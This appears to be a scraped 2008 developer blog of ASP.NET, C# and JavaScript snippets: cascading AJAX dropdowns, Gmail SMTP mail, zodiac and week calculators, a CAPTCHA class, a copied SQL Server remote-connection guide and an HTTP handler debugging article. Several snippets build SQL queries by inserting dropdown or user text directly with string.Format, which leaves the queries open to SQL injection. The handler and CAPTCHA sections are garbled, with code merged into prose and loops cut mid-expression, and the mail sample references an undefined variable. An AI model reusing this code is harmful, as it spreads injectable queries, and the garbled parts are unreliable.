protected void ddlCountry_SelectedIndexChanged(object sender, EventArgs e)HTML code
{
if (ddlCountry.SelectedValue.ToString() != "SELECT")
{
SqlConnection con = new SqlConnection("Data Source=SERVER; Integrated Security=SSPI;persist security info=True;Initial Catalog=DBNAME;");
SqlCommand cmd = new SqlCommand(string.Format("SELECT StateName,StateId FROM StateTable WHERE CountryId='{0}'", ddlCountry.SelectedValue.ToString()), con);
DataTable dt = new DataTable();
con.Open();
SqlDataAdapter adptr = new SqlDataAdapter(cmd);
adptr.Fill(dt);
con.Close();
if (dt.Rows.Count > 0)
{
ddlState.Items.Clear();
ddlState.Items.Add("SELECT");
foreach (DataRow drow in dt.Rows)
{
ListItem lst = new ListItem();
lst.Value = drow[1].ToString();
lst.Text = drow[0].ToString();
ddlState.Items.Add(lst);
}
}
}
}
(asp:dropdownlist id="ddlCountry" runat="server" onselectedindexchanged="ddlCountry_SelectedIndexChanged" autopostback="True")(/asp:dropdownlist)
(br) (asp:updatepanel id="upnl" runat="server")(br) (contenttemplate)(br) (asp:dropdownlist id="ddlState" runat="server")(/asp:dropdownlist)(br) (/contenttemplate)(br) (triggers)(br) (asp:asyncpostbacktrigger controlid="ddlCountry")(br) (/asp:asyncpostbacktrigger)
Thursday, May 1, 2008
How to Create Namespace in JAVASCRIPT
between script tag write this code
if(typeof(raju)=='undefined')
{raju={};}
raju.TestFunction=function()
{
alert("Raju.M");
}
div onclick="raju.TestFunction();" raju /div
Thursday, April 17, 2008
How to configure SQL Server 2005 to allow remote connections
INTRODUCTION
When you try to connect to an instance of Microsoft SQL Server 2005 from a remote computer, you may receive an error message. This problem may occur when you use any program to connect to SQL Server. For example, you receive the following error message when you use the SQLCMD utility to connect to SQL Server:
Sqlcmd: Error: Microsoft SQL Native Client: An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections.
This problem may occur when SQL Server 2005 is not configured to accept remote connections. By default, SQL Server 2005 Express Edition and SQL Server 2005 Developer Edition do not allow remote connections. To configure SQL Server 2005 to allow remote connections, complete all the following steps:
• Enable remote connections on the instance of SQL Server that you want to connect to from a remote computer.
• Turn on the SQL Server Browser service.
• Configure the firewall to allow network traffic that is related to SQL Server and to the SQL Server Browser service.
This article describes how to complete each of these steps.
MORE INFORMATION
To enable remote connections on the instance of SQL Server 2005 and to turn on the SQL Server Browser service, use the SQL Server 2005 Surface Area Configuration tool. The Surface Area Configuration tool is installed when you install SQL Server 2005.
Enable remote connections for SQL Server 2005 Express or SQL Server 2005 Developer Edition
You must enable remote connections for each instance of SQL Server 2005 that you want to connect to from a remote computer. To do this, follow these steps:
1. Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Surface Area Configuration.
2. On the SQL Server 2005 Surface Area Configuration page, click Surface Area Configuration for Services and Connections.
3. On the Surface Area Configuration for Services and Connections page, expand Database Engine, click Remote Connections, click Local and remote connections, click the appropriate protocol to enable for your environment, and then click Apply.
Note Click OK when you receive the following message:
Changes to Connection Settings will not take effect until you restart the Database Engine service.
4. On the Surface Area Configuration for Services and Connections page, expand Database Engine, click Service, click Stop, wait until the MSSQLSERVER service stops, and then click Start to restart the MSSQLSERVER service.
Enable the SQL Server Browser service
If you are running SQL Server 2005 by using an instance name and you are not using a specific TCP/IP port number in your connection string, you must enable the SQL Server Browser service to allow for remote connections. For example, SQL Server 2005 Express is installed with a default instance name of Computer Name\SQLEXPRESS. You are only required to enable the SQL Server Browser service one time, regardless of how many instances of SQL Server 2005 you are running. To enable the SQL Server Browser service, follow these steps.
Important These steps may increase your security risk. These steps may also make your computer or your network more vulnerable to attack by malicious users or by malicious software such as viruses. We recommend the process that this article describes to enable programs to operate as they are designed to, or to implement specific program capabilities. Before you make these changes, we recommend that you evaluate the risks that are associated with implementing this process in your particular environment. If you choose to implement this process, take any appropriate additional steps to help protect your system. We recommend that you use this process only if you really require this process.
1. Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Surface Area Configuration.
2. On the SQL Server 2005 Surface Area Configuration page, click Surface Area Configuration for Services and Connections.
3. On the Surface Area Configuration for Services and Connections page, click SQL Server Browser, click Automatic for Startup type, and then click Apply.
Note When you click the Automatic option, the SQL Server Browser service starts automatically every time that you start Microsoft Windows.
4. Click Start, and then click OK.
Note When you run the SQL Server Browser service on a computer, the computer displays the instance names and the connection information for each instance of SQL Server that is running on the computer. This risk can be reduced by not enabling the SQL Server Browser service and by connecting to the instance of SQL Server directly through an assigned TCP port. Connecting directly to an instance of SQL Server through a TCP port is beyond the scope of this article. For more information about the SQL Server Browser server and connecting to an instance of SQL Server, see the following topics in SQL Server Books Online:
• SQL Server Browser Service
• Connecting to the SQL Server Database Engine
• Client Network Configuration
Create exceptions in Windows Firewall
These steps apply to the version of Windows Firewall that is included in Windows XP Service Pack 2 (SP2) and in Windows Server 2003. If you are using a different firewall system, see your firewall documentation for more information.
If you are running a firewall on the computer that is running SQL Server 2005, external connections to SQL Server 2005 will be blocked unless SQL Server 2005 and the SQL Server Browser service can communicate through the firewall. You must create an exception for each instance of SQL Server 2005 that you want to accept remote connections and an exception for the SQL Server Browser service.
SQL Server 2005 uses an instance ID as part of the path when you install its program files. To create an exception for each instance of SQL Server, you must identify the correct instance ID. To obtain an instance ID, follow these steps:
1. Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Configuration Manager.
2. In SQL Server Configuration Manager, click the SQL Server Browser service in the right pane, right-click the instance name in the main window, and then click Properties.
3. On the SQL Server Browser Properties page, click the Advanced tab, locate the instance ID in the property list, and then click OK.
To open Windows Firewall, click Start, click Run, type firewall.cpl, and then click OK.
Create an exception for SQL Server 2005 in Windows Firewall
To create an exception for SQL Server 2005 in Windows Firewall, follow these steps:
1. In Windows Firewall, click the Exceptions tab, and then click Add Program.
2. In the Add a Program window, click Browse.
3. Click the C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe executable program, click Open, and then click OK.
Note The path may be different depending on where SQL Server 2005 is installed. MSSQL.1 is a placeholder for the instance ID that you obtained in step 3 of the previous procedure.
4. Repeat steps 1 through 3 for each instance of SQL Server 2005 that needs an exception.
Create an exception for the SQL Server Browser service in Windows Firewall
To create an exception for the SQL Server Browser service in Windows Firewall, follow these steps:
1. In Windows Firewall, click the Exceptions tab, and then click Add Program.
2. In the Add a Program window, click Browse.
3. Click the C:\Program Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe executable program, click Open, and then click OK.
Note The path may be different depending on where SQL Server 2005 is installed.
source from microsoft
Monday, April 7, 2008
Send Emails Using Gmail Account With Attachment file in ASP.Net - SMTP mail
Description
you can send emails via your application using your gmail account.first you change setting in your gmail account
step 1:
login to your gmail Account this id is used for sending emails from your application
step 2:
goto gmail settings then click on Forwarding and POP/IMAP
step 3:
In IMAP Access Check Enable IMAP
step 4:
then goto ur application use below code
C# ASP.NET CODE
ButtonClick
{
string attachmentFile = @"C:\Documents and Settings\Administrator\Desktop\testImage.jpg";
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("your-reciving-email@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("fromAddress@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
mm.Subject = "Email Subject";
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);
}
private static string sendMail(System.Net.Mail.MailMessage mm)
{
try
{
string smtpHost = "smtp.gmail.com";
string userName = "your-email-address@gmail.com";//sending Id
string password = "your-password";
System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials = false;
mClient.Credentials = new NetworkCredential(userName, password);
mClient.Host = smtpHost;
mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
Get Week Of The Year in C# ASP.NET - sample source code
Get Week Of The Year
C# ASP.NET code For get WEEk from a year.
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
public partial class WeekCalc : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
Response.Write(getWeek(DateTime.Now));
}
public int getWeek(DateTime date)
{
System.Globalization.CultureInfo cult_info = System.Globalization.CultureInfo.CreateSpecificCulture("no");
System.Globalization.Calendar cal = cult_info.Calendar;
int weekCount = cal.GetWeekOfYear(date, cult_info.DateTimeFormat.CalendarWeekRule, cult_info.DateTimeFormat.FirstDayOfWeek);
return weekCount;
}
ASP.NET C# Code for Get Zodiac Sign - source code
when Date of Birth pass to my function ZodiacSign() it return Zodiac Sign of that DOB
giving the fuction only u can pass DateTime value into ZodiacSign()
public string ZodiacSign(DateTime DateOfBirth)
{
string returnString = string.Empty;
string[] dateAndMonth = DateOfBirth.ToLongDateString().Split(new char[] { ',' });
string[] ckhString = dateAndMonth[1].ToString().Split(new char[] { ' ' });
if (ckhString[1].ToString() == "March")
{
if (Convert.ToInt32(ckhString[2]) <= 20) { returnString = "Pisces"; } else { returnString = "Aries"; } } else if (ckhString[1].ToString() == "April") { if (Convert.ToInt32(ckhString[2]) <= 19) { returnString = "Aries"; } else { returnString = "Taurus"; } } else if (ckhString[1].ToString() == "May") { if (Convert.ToInt32(ckhString[2]) <= 20) { returnString = "Taurus"; } else { returnString = "Gemini"; } } else if (ckhString[1].ToString() == "June") { if (Convert.ToInt32(ckhString[2]) <= 20) { returnString = "Gemini"; } else { returnString = "Cancer"; } } else if (ckhString[1].ToString() == "July") { if (Convert.ToInt32(ckhString[2]) <= 22) { returnString = "Cancer"; } else { returnString = "Leo"; } } else if (ckhString[1].ToString() == "August") { if (Convert.ToInt32(ckhString[2]) <= 22) { returnString = "Leo"; } else { returnString = "Virgo"; } } else if (ckhString[1].ToString() == "September") { if (Convert.ToInt32(ckhString[2]) <= 22) { returnString = "Virgo"; } else { returnString = "Libra"; } } else if (ckhString[1].ToString() == "October") { if (Convert.ToInt32(ckhString[2]) <= 22) { returnString = "Libra"; } else { returnString = "Scorpio"; } } else if (ckhString[1].ToString() == "November") { if (Convert.ToInt32(ckhString[2]) <= 21) { returnString = "Scorpio"; } else { returnString = "Sagittarius"; } } else if (ckhString[1].ToString() == "December") { if (Convert.ToInt32(ckhString[2]) <= 21) { returnString = "Sagittarius"; } else { returnString = "Capricorn"; } } else if (ckhString[1].ToString() == "January") { if (Convert.ToInt32(ckhString[2]) <= 19) { returnString = "Capricorn"; } else { returnString = "Aquarius"; } } else if (ckhString[1].ToString() == "February") { if (Convert.ToInt32(ckhString[2]) <= 18) { returnString = "Aquarius"; } else { returnString = "Pisces"; } } return returnString; }
ASP.NET AJAX DropDownList
html Code
@asp:dropdownlist id="ddlCountry" runat="server" onselectedindexchanged="ddlCountry_SelectedIndexChanged" autopostback="True"@@/asp:dropdownlist@
@asp:updatepanel id="upnl" runat="server"@
@contenttemplate@
@asp:dropdownlist id="ddlState" runat="server"@@/asp:dropdownlist@
@/contenttemplate@
@triggers@
@asp:asyncpostbacktrigger controlid="ddlCountry"@
@/asp:asyncpostbacktrigger@
@/triggers@
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
SqlConnection con = new SqlConnection("Data Source=SERVER; Integrated Security=SSPI;persist security info=True;Initial Catalog=DBNAME;");
SqlCommand cmd = new SqlCommand("SELECT CountryName,CountryId FROM CountryTable", con);
DataTable dt = new DataTable();
con.Open();
SqlDataAdapter adptr = new SqlDataAdapter(cmd);
adptr.Fill(dt);
con.Close();
if (dt.Rows.Count > 0)
{
ddlCountry.Items.Clear();
ddlCountry.Items.Add("SELECT");
foreach (DataRow drow in dt.Rows)
{
ListItem lst = new ListItem();
lst.Value = drow[1].ToString();
lst.Text = drow[0].ToString();
ddlCountry.Items.Add(lst);
}
}
}
}
protected void ddlCountry_SelectedIndexChanged(object sender, EventArgs e)
{
if (ddlCountry.SelectedValue.ToString() != "SELECT")
{
SqlConnection con = new SqlConnection("Data Source=SERVER; Integrated Security=SSPI;persist security info=True;Initial Catalog=DBNAME;");
SqlCommand cmd = new SqlCommand(string.Format("SELECT StateName,StateId FROM StateTable WHERE CountryId='{0}'", ddlCountry.SelectedValue.ToString()), con);
DataTable dt = new DataTable();
con.Open();
SqlDataAdapter adptr = new SqlDataAdapter(cmd);
adptr.Fill(dt);
con.Close();
if (dt.Rows.Count > 0)
{
ddlState.Items.Clear();
ddlState.Items.Add("SELECT");
foreach (DataRow drow in dt.Rows)
{
ListItem lst = new ListItem();
lst.Value = drow[1].ToString();
lst.Text = drow[0].ToString();
ddlState.Items.Add(lst);
}
}
}
}
Tuesday, April 1, 2008
AJAX Example - request and response codes
The keystone of AJAX is the XMLHttpRequest object.
Different browsers use different methods to create the XMLHttpRequest object.
Internet Explorer uses an ActiveXObject,
while other browsers(Mozilla,Netscape,Opera..) uses the built-in JavaScript object called XMLHttpRequest.
To create this object, and deal with different browsers, we are going to use a "try and catch" statement.between script tag u can write this code to detect browser
function ajaxFunction()
{
var xmlHttp;
try
{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
try
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e)
{
alert("Your browser does not support AJAX!");
return false;
}
}
}
}
AJAX - Sending a Request to the Server
To send off a request to the server, we use the open() method and the send() method.
The open() method takes three arguments. The first argument defines which method to use when sending the request (GET or POST). The second argument specifies the URL of the server-side script. The third argument specifies that the request should be handled asynchronously. The send() method sends the request off to the server. If we assume that the HTML and ASP file are in the same directory, the code would be:
xmlHttp.open("GET","url",true);
xmlHttp.send(null);
xmlHttp.onreadystatechange=function()
{
if(xmlHttp.readyState==4)
{
document.myForm.Form_elemet.value=xmlHttp.responseText;
}
}
xmlHttp.open("GET","default.aspx",true);
xmlHttp.send(null);
Source
Monday, March 31, 2008
Debugging an HTTP Handler (*.ashx) in ASP.NET 2.0
Calling a Handler by File Extension
A handler can be invoked by any file extension that is mapped via the web.config and the IIS file extension mappings. You can have a file named something.billybob where 'billybob' is the file extension, or you can have no file extension at all such as http://web/handler/file where a request for 'file' without an extension invokes a handler mapped to *.* or the directory as *.
Calling a Handler Directory
The code file for the handler has the file extension of 'ashx' on the web server. This file can be called directly via a browser without having to set up web.config or IIS file extension mappings. For example: http://web/handler/handler.ashx. Some examples of this hander type are photo albums, RSS feeds, and blogging sites. Each of these is a good example of work that can be better accomplished without standard HTML. A photo album involves directory crawling and responding with pictures. A RSS feed returns information in the correct format.
Trace.axd as an Example Handler
An example of a handler that is invoked by file extension is the Trace.axd file used for debugging. In order to invoke the Trace.axd handler, you configure the website for tracing by adding a trace section to web.config:
and call the trace.axd file from the root of the website such as http://localhost/trace.axd.
Required IIS Mappings for Handlers Called by File Extension
Handlers that are invoked based on a request's file extension require configuration in web.config and in the IIS file extension mapping. In order to see the file mapping of the *.axd file, open the IIS Manager and configure the application. Go to the 'Mappings' tab and scroll down until you see the .axd file extension.
Invoking handlers by file extension or no extension gives you flexibility about what is called and when. There are many articles on the web about file extension handlers so this article will focus on the handler that is called directly.
Creating a Handler
In order to create a handler code file, you need a web site in Visual Studio 2005 (or Visual Studio 2003 for a .NET 1.x handler). For a new website, select 'ASP.NET Web Site'. This will create a web site with an You will need to create the The handler code file will look like: At this point, build the project and set the In my brower, because my desktop is set-up to parse text/plain as XML, I get an error that looks like: The App_Data
directory and the default.aspx file. You won't use the default.aspx so you can either leave it alone or delete it.web.config
and the handler file by clicking on the website in the Solution Explorer and add new items of 'web.config' and 'Generic Handler'. <%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
context.Response.Write("Hello World");
}
public bool IsReusable {
get {
return false;
}
}
} handler.ashx
file as the startup file. Start debugging. You will be prompted to allow the process to change your web.config to allow debug. Unless you want to type in the change to allow debugging yourself ("
), accept this change. handler.ashx
that Visual Studio provided needs to be fixed before it will work. So change the Content Type from 'text/plain' to 'text/html'. Build, and debug again. You should get a response that looks like:
Handler.ashx
The handler.ashx
file implements the IHttpHandler interface and has two methods of 'ProcessRequest' and 'IsReusable'. The 'ProcessRequest' is your main method where you put your code. The 'IsReusable' method is set to true by default and indicates whether another request can use the IHttpHandler instance. If the instance can be reused mark it true -- this will improve the speed of the handler, and reduce the work your server will have to do. But if your instance should not be reused, due to state or because it is ansychronous, you should set IsReusable to false.
Session State
Before continuing, change the Set a break point for the first line in the class and start debugging again. handler.ashx
code to implement the IRequiresSessionState interface. If you need read-only access to the Session, implement the IReadOnlySessionState interface. Both interfaces are in the System.Web.SessionState namespace which you will need to add with the 'using' syntax. The code should now look like: <%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.Web.SessionState;
public class Handler : IHttpHandler , IReadOnlySessionState{
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/html";
context.Response.Write("Hello World");
}
public bool IsReusable {
get {
return false;
}
}
}
Handling Issues with a Debug Build
When you use a debug build, you have the full resources of the Visual Studio debugger, all .NET Framework namespaces, and any system utilities and applications. The Visual Studio Debugger allows you to view the call stack, local variables, any watch variables, etc. You are probably familiar with using these features to some degree. However, with a HTTP Hander, debugging is much more important because the only visual indication of a bug is whatever you code into the content.
Handling Issues with a Release Build
The release build is different from the debug build in both features and performance. When you are using a release build, it is probably in a production environment. As such, you will need to use a different set of tools to find your issues.
Debugging with System.Diagnostics Namespace
The Diagnostics namespace has many classes to help with debugging in release and debug mode. If you are debugging in release mode, you should use the Trace class. If you are debugging in debug mode, you should use the Assert class. This article doesn't cover all the abilities of this namespace so you should investigate what class will help you solve your immediate problem. In order to show these classes in action, change the code to use the namespace and use an infinite loop. The assertion is throw when the expression in the assertion is false, so the assertion will throw when the counter is no longer less than 10. Build and debug. Since there are no breakpoints set, the debugger will become active again when the assertion is hit. This is great if you know what the error is you are getting and can test for it. The first thing that happens is an assertion window pops up with information about the assertion. If you want the debugger to become active, click the "Retry" button. This will bring up the debugger at that assertion code line. If you know a general code location you would like to look at instead of a specific Boolean statement to test for, you should use the Debugger.Break statement in your code. This will pop up the debugger as well. If you want to look at preconditions and then stop at the error, you can combine these two statements to quicken your debugging process. An example of that code is below: You can use the Debug.Write, Debug.WriteIf, Debug.WriteLine, and Debug.WriteLineIf to print to the Output window during a debug session. This could help you view the state of the HTTP Handler. If you want to track down an issue in a release build, you will have to have a way of peering into the code. One way to do that is to add EventLog.WriteEntry statements into your code. This allows you to add information to the event log as the HTTP Hander is running. The WriteEntry method is heavily overloaded so you will need to determine the best method for your use. If you want to see information as a simple information entry in the event viewer, you just use one String argument. The Event Viewer needs to know the "Source" of the event so let's name it "HTTPHandler - DebugArticle". This should be easy to see in the Event Viewer. The code looks like: Build a release version of the handler and call it. The output should only include the "Hello World" text. Open the Event Viewer, Application log. You should see several postings from the source of "HTTP Handler - DebugArticle". If you open one of the events, you should see a simple output: There are also classes to interact with the Performance monitor, and processes as well as several classes to help with logic flow. <%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;
public class Handler : IHttpHandler , IReadOnlySessionState{
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/html";
context.Response.Write("Hello World");
int i=0;
while (1!=0)
{
Debug.Assert(i<10);><%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;
public class Handler : IHttpHandler , IReadOnlySessionState{
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/html";
context.Response.Write("Hello World");
Debugger.Break();
int i=0;
while (1!=0)
{
Debug.Assert(i<10);><%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;
public class Handler : IHttpHandler , IReadOnlySessionState{
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/html";
context.Response.Write("Hello World");
int i=0;
// Create an EventLog instance and assign its source.
EventLog myLog = new EventLog();
myLog.Source = "HTTPHandler-DebugArticle";
while (i<100) 10="=">
Attaching to a Process to Debug a Running HTTP Handler
Another method of finding your issues is to attach to a process that contains the HTTP Handler. If you are running multiple websites where each website is in it's own process space, you may have to figure out the process id. The easiest way is to have your handler tell you. The System.Diagnostics namespace includes a class called Process which will help you determine the current process's id. In order to find the id, let's send the id to the event viewer by changing the code to: The important code line here is in the loop and is an alteration to the string in the Now that you know the process id, you need to find this id in the Task Manager. In order to see process ids in the Task Manager, click to the Process tab then click on View and choose Select Columns. Click on PID (Process Identifier) and OK out of the Dialogs. The list of processes should now include the PID, which you can sort by if you click on the column name. Once you find the right process id in the list, right click on it and choose Debug. This will start Visual Studio. You will have to open your code file from Visual Studio and debug at that point.<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;
public class Handler : IHttpHandler , IReadOnlySessionState{
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/html";
context.Response.Write("Hello World");
int i=0;
Process.GetCurrentProcess().Id.ToString();
// Create an EventLog instance and assign its source.
EventLog myLog = new EventLog();
myLog.Source = "HTTPHandler-DebugArticle";
myLog.WriteEntry("Process Id is " + Process.GetCurrentProcess().Id.ToString());
while (i<100) 10="=">myLog.WriteEntry:Process.GetCurrentProcess().Id
. The following figure shows what the Event Viewer entry looks like:
Friday, March 28, 2008
Split String in C# ASP.Net - source code samples
string a="splitting the qurey";
string[]splitString=a.Split(new char[]{' '});
string join=string.Empty;
string FullQuery = @"SELECT column1, column2 FROM table WHERE";
for (int i = 0; i < splitString.Length; i++)
{
join+= string.Format("(column3 LIKE '{0}%') OR ", splitString[i].ToString());
}
join = join.Remove(join.Length - 3);
FullQuery += join;
Sorting DataTable in C#,ASP.NET - source code
dt=datatable;
DataView objView=dt.DefaultView;
objView.Sort="Columnname DESC";
dt=objView.ToTable();
Monday, March 24, 2008
Free Captcha Image - ASP.NET,C# - with source code
simple code for Captcha image in C# and ASPNET.
source code for image Captcha this a Class file U can pass value as string into DrowImage function.it return a image. You can write that image. and point that page as source of your image.
it shown under this code. it also include code for Generating Randam Stirng in C#,ASP.NET the function RandomStringKeys() use for Generation of Randam Strings.
Class file Code:
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.Drawing.Text;
using System.Text;
using System.Collections;
namespace ThreekCaptcha
{
public class ThreeKcaptcha
{
public ThreeKcaptcha()
{ }
public Bitmap Image
{
get
{
return this.image;
}
}
private Bitmap image;
public void DrowImage(string key)
{
Bitmap bitmapImage = new Bitmap(150, 30, PixelFormat.Format32bppArgb);
Graphics g = Graphics.FromImage(bitmapImage);
g.SmoothingMode = SmoothingMode.HighQuality;
Rectangle rect = new Rectangle(0, 0, 150, 30);
HatchBrush hBrush = new HatchBrush(HatchStyle.SmallConfetti, Color.LightGray, Color.White);
g.FillRectangle(hBrush, rect);
hBrush = new HatchBrush(HatchStyle.LargeConfetti, Color.Red, Color.Black);
float fontSize = 20;
Font font = new Font(FontFamily.GenericSerif, fontSize, FontStyle.Strikeout);
float x = 10;
float y = 1;
PointF fPoint = new PointF(x, y);
g.DrawString(key, font, hBrush, fPoint);
image = bitmapImage;
}
public string RandomStringKeys()
{
string returnString = string.Empty;
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string numbers = "0123456789";
char[] letterArray = Letters.ToCharArray();
char[] numberArray = numbers.ToCharArray();
Random objrandomNumber = new Random();
byte[] selection = Encoding.ASCII.GetBytes(objrandomNumber.Next(111111, 999999).ToString());
BitArray bArray = new BitArray(selection);
string binaryString = string.Empty;
int t = 0;
int f = 0;
for (int i = 0; i < encodestring =" binaryString.Substring(objrandomNumber.Next(1," i =" 0;" style="font-weight: bold;" href="http://www.changathi.com/Raju/download/ThreekCaptcha.dll">Download Link For Captcha DLL
source for Image
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using _kImageCaptcha;
using System.Drawing.Imaging;
using ThreekCaptcha;
public partial class Default2 : System.Web.UI.Page
{
ThreeKcaptcha obj3kCaptcha;
protected void Page_Load(object sender, EventArgs e)
{
obj3kCaptcha = new ThreeKcaptcha();
string tstKey = obj3kCaptcha.RandomStringKeys();
obj3kCaptcha.DrowImage(tstKey);
Response.Clear();
Response.ContentType = "image/jpeg";
obj3kCaptcha.Image.Save(Response.OutputStream, ImageFormat.Jpeg);
obj3kCaptcha.Dispose();
}
}
Download Full Source Code